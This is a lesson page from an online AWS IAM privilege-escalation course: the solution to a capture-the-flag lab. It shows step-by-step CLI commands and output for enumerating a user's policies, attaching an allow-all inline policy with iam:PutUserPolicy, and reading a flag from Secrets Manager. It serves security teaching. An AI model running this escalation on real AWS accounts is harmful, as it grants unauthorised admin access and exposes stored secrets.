Back to Course

AWS IAM Privilege Escalation Labs

0% Complete
0/0 Steps
  1. Introduction

    About this course
  2. Real-world case studies
  3. Useful IAM tips and security tools
  4. Introduction to AWS Enumeration
    [LAB] Getting Started with the AWS CLI
  5. [LAB] Introduction to AWS IAM Enumeration
  6. [Cheat Sheet] IAM Enumeration CLI Commands
  7. [LAB] Introduction to Secrets Manager Enumeration
  8. [Cheat Sheet] Secrets Manager Enumeration CLI Commands
  9. [LAB] Introduction to Amazon S3 Enumeration
  10. iam:CreateAccessKey
    [LAB] [CTF] iam:CreateAccessKey PrivEsc
  11. iam:CreateAccessKey Solution
  12. iam:CreateLoginProfile
    [LAB] [CTF] iam:CreateLoginProfile PrivEsc
  13. iam:CreateLoginProfile Solution
  14. iam:UpdateLoginProfile
    [LAB] [CTF] iam:UpdateLoginProfile PrivEsc
  15. iam:UpdateLoginProfile Solution
  16. iam:SetDefaultPolicyVersion
    [LAB] [CTF] iam:SetDefaultPolicyVersion PrivEsc
  17. iam:SetDefaultPolicyVersion Solution
  18. iam:AddUserToGroup
    [LAB] [CTF] iam:AddUserToGroup PrivEsc
  19. iam:AddUserToGroup Solution
  20. iam:AttachUserPolicy
    [LAB] [CTF] iam:AttachUserPolicy PrivEsc
  21. iam:AttachUserPolicy Solution
  22. iam:AttachGroupPolicy
    [LAB] [CTF] iam:AttachGroupPolicy PrivEsc
  23. iam:AttachGroupPolicy Solution
  24. iam:PutUserPolicy
    [LAB] [CTF] iam:PutUserPolicy PrivEsc
  25. iam:PutUserPolicy Solution
  26. iam:PutGroupPolicy
    [LAB] [CTF] iam:PutGroupPolicy PrivEsc
  27. iam:PutGroupPolicy Solution
  28. iam:AttachRolePolicy
    [LAB] [CTF] iam:AttachRolePolicy PrivEsc
  29. iam:AttachRolePolicy Solution
  30. iam:PutRolePolicy
    [LAB] [CTF] iam:PutRolePolicy PrivEsc
  31. iam:PutRolePolicy Solution
  32. Challenges
    About challenges
  33. Challenge #1 - Secrets Unleashed
  34. Challenge #2 - IAM Escape Room
  35. Conclusion
    What did you think of the course?
  36. What's next?
Lesson 25 of 36
In Progress

iam:PutUserPolicy Solution

Christophe December 18, 2023

This lab doesn’t return a username so we need to know who we’re dealing with:

aws sts get-caller-identity

{
    "UserId": "AIDA5M7PA4Z5WKVCORA3B",
    "Account": "921234892411",
    "Arn": "arn:aws:iam::921234892411:user/iam-putuserpolicy-privesc-1703011154436-SeniorDev"
}

Code language: JavaScript (javascript)

Now that we have our username, we’re ready to do some further enumeration:

aws iam get-user --user-name iam-putuserpolicy-privesc-1703011154436-SeniorDev

{
    "User": {
        "Path": "/",
        "UserName": "iam-putuserpolicy-privesc-1703011154436-SeniorDev",
        "UserId": "AIDA5M7PA4Z5WKVCORA3B",
        "Arn": "arn:aws:iam::921234892411:user/iam-putuserpolicy-privesc-1703011154436-SeniorDev",
        "CreateDate": "2023-12-19T18:39:38+00:00",
        "PermissionsBoundary": {
            "PermissionsBoundaryType": "Policy",
            "PermissionsBoundaryArn": "arn:aws:iam::921234892411:policy/BoundaryPolicy"
        },
        "Tags": [
            {
                "Key": "cybr-lab",
                "Value": "auto-deployed"
            }
        ]
    }
}

Code language: JavaScript (javascript)

As we can see, this user does have a permission boundary applied, but we’re not going to have permissions to view the boundary policy, so I’ll save you the effort.

aws iam get-policy --policy-arn arn:aws:iam::272281913033:policy/BoundaryPolicy
{
    "Policy": {
        "PolicyName": "BoundaryPolicy",
        "PolicyId": "ANPA5M7PA4Z5TU6CPGILZ",
        "Arn": "arn:aws:iam::921234892411:policy/BoundaryPolicy",
        "Path": "/",
        "DefaultVersionId": "v1",
        "AttachmentCount": 0,
        "PermissionsBoundaryUsageCount": 1,
        "IsAttachable": true,
        "Description": "Managed policy to act as a permission boundary.",
        "CreateDate": "2023-12-17T18:31:06+00:00",
        "UpdateDate": "2023-12-17T18:31:06+00:00",
        "Tags": []
    }
}

Code language: JavaScript (javascript)

Let’s try to enumerate what permissions we do have.

aws iam list-user-policies --user-name iam-putuserpolicy-privesc-1703011154436-SeniorDev

{
    "PolicyNames": [
        "iam-putuserpolicy-privesc-1703011154436-senior-manager"
    ]
}

Code language: PHP (php)

Now retrieve the policy document itself:

aws iam get-user-policy --user-name iam-putuserpolicy-privesc-1703011154436-SeniorDev --policy-name iam-putuserpolicy-privesc-1703011154436-senior-manager

{
    "UserName": "iam-putuserpolicy-privesc-1703011154436-SeniorDev",
    "PolicyName": "iam-putuserpolicy-privesc-1703011154436-senior-manager",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "iam:PutUserPolicy"
                ],
                "Resource": [
                    "arn:aws:iam::921234892411:user/*"
                ],
                "Effect": "Allow"
            }
        ]
    }
}

Code language: JavaScript (javascript)

We see one allowed action:

"Action": [
   "iam:PutUserPolicy"
],

Code language: JavaScript (javascript)

And it’s set for the resource:

"Resource": [
    "arn:aws:iam::921234892411:user/*"
],

Code language: JavaScript (javascript)

From the prior labs, we already know the potential dangerous of this, but we’re not familiar with PutUserPolicy yet. Let’s pull up some documentation:

PutUserPolicy can be used to add or update inline IAM policy documents for an IAM user. So this is very similar to AttachUSerPolicy except that you can create any policy document that you want! You are not restricted to only using AWS-managed or Customer-managed policy documents available in this AWS account! That makes this command even more potentially dangerous, as you’re about to see.

As per the CLI documentation, here’s how we issue the command:

put-user-policy
--user-name <value>
--policy-name <value>
--policy-document <value>
...

Code language: HTML, XML (xml)

We specify the user we want to add an inline policy to, we give the policy a name (it can be anything so long as it fits AWS’ naming requirements), and a policy document which is a JSON file.

Let’s create a policy document:

vim policy.json

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "*",
      "Resource": "*"
    }
  ]
}

Code language: JavaScript (javascript)

(I use vim but if you’re not comfortable with vim you can use any text editor of your choice)

Now use PutUserPolicy:

aws iam put-user-policy --user-name iam-putuserpolicy-privesc-1703011154436-SeniorDev --policy-name test --policy-document file://policy.json

Code language: JavaScript (javascript)

We can now re-run list-user-policies:

aws iam list-user-policies --user-name iam-putuserpolicy-privesc-1703011154436-SeniorDev

{
    "PolicyNames": [
        "iam-putuserpolicy-privesc-1703011154436-senior-manager",
        "test"
    ]
}

Code language: PHP (php)

And we’ll see our test policy that we just uploaded!

If we get-user-policy we will see the document we uploaded:

aws iam get-user-policy --user-name iam-putuserpolicy-privesc-1703011154436-SeniorDev --policy-name test
{
    "UserName": "iam-putuserpolicy-privesc-1703011154436-SeniorDev",
    "PolicyName": "test",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Effect": "Allow",
                "Action": "*",
                "Resource": "*"
            }
        ]
    }
}

Code language: JavaScript (javascript)

Note: even though the policy you’re uploading grants admin privileges, we don’t allow admin privileges in our lab environments for security purposes and to protect our labs platform. That’s why you only have access to Secrets Manager (as you’re about to see) and the prior permissions you had at the start of the lab. However, if the AWS environment isn’t properly secured, then using the policy above would grant you admin privileges with this exploit!

Let’s see if we’re now able to access Secrets Manager:

aws secretsmanager list-secrets

{
    "SecretList": [
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:921234892411:secret:iam-putuserpolicy-privesc-1703011154436-final_flag-QHaVe6",
            "Name": "iam-putuserpolicy-privesc-1703011154436-final_flag",
            "Description": "Secret containing a flag",
...REDACTED...

Code language: PHP (php)

That worked! We definitely did not have SecretsManager access at the beginning of the lab, so we’ve successfully elevated privileges for our user.

Let’s capture the flag!

aws secretsmanager get-secret-value --secret-id <redacted>final_flag

{
    "ARN": "arn:aws:secretsmanager:us-east-1:921234892411:secret:<redacted>flag-QHaVe6",
    "Name": "<redacted>final_flag",
    "VersionId": "6084ba1d-4708-a7dd-d673-f5af2f8a2f3d",
    "SecretString": "{\\"vault-password\\": \\"<redacted>\\"}",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": "2023-12-19T11:39:18.626000-07:00"
}

Code language: JavaScript (javascript)

Congrats! You’ve captured the flag using the dangerous PutUserPolicy exploit! Go ahead and copy/paste it and submit it as the flag!

Responses

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.